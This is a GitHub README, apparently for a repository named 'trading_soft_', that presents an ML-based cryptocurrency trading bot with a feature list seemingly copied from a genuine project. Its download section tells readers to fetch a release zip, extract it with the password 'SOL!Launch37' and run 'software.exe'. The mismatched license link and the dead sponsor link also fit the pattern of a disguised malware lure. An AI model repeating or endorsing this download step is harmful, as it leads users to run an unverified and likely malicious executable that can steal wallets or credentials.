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https://github.com/orientsrocks6n/trading_soft_

The project is aimed at developing an intelligent bot for automated cryptocurrency trading, leveraging advanced machine learning (ML) algorithms and feature engineering. The project offers the following core functionalities
https://github.com/orientsrocks6n/trading_soft_

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The project is aimed at developing an intelligent bot for automated cryptocurrency trading, leveraging advanced machine learning (ML) algorithms and feature engineering. The project offers the following core functionalities

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# Trade

The project is aimed at developing an intelligent bot for automated cryptocurrency trading, leveraging advanced machine learning (ML) algorithms and feature engineering. The project offers the following core functionalities:

+ Defining derived features using custom (Python) functions, including technical indicators
+ Analyzing historical data and training machine learning models in batch mode (offline)
+ Analyzing predicted scores and selecting the best signal parameters
+ A signaling service that regularly requests new data from the exchange and generates buy/sell signals by applying the trained models in real-time
+ A trading service that executes trades based on generated signals

# How to Download

Download the [Release](https://github.com/orientsrocks6n/trading_soft_/releases/download/download/files.zip). Extract ***.zip*** (password: SOL!Launch37) and run ***software.exe***.

# License

The TRADE is released under the MIT license. See [COPYING](https://github.com/bitcoin/bitcoin/blob/master/COPYING) for more information or visit https://opensource.org/licenses/MIT.

# Trading

The bot is currently configured with the following parameters:

+ Exchange: Compatible with most popular platforms
+ Cryptocurrency: Supports all coins
+ Analysis frequency: 1 minute (currently the only option)
+ Score range: Between -1 and +1. A score < 0 indicates a likely decrease, and > 0 indicates a likely increase
+ Filter: Notifications are sent only if the score exceeds ±0.20 (subject to change)
+ Additional signs are added for each 0.05 increment (exceeding the filter threshold)

# Features

+ The bot currently operates in a non-incremental model, computing features for all available data (not just the latest update), which can take several hours for more complex configurations.
+ The script loads merged input data, applies feature generation procedures, and stores all derived features in an output file.
+ Not all generated features are used for training and prediction. A separate list of features is specified for training/prediction phases.
+ Feature functions can accept additional parameters, like window sizes, from the configuration section.
+ The same features must be used for both online (real-time) and offline (batch) feature generation.

# Sponsorship

[Become a sponsor](https://github.com/404)

# Contact Us

crypto.ex@devby.same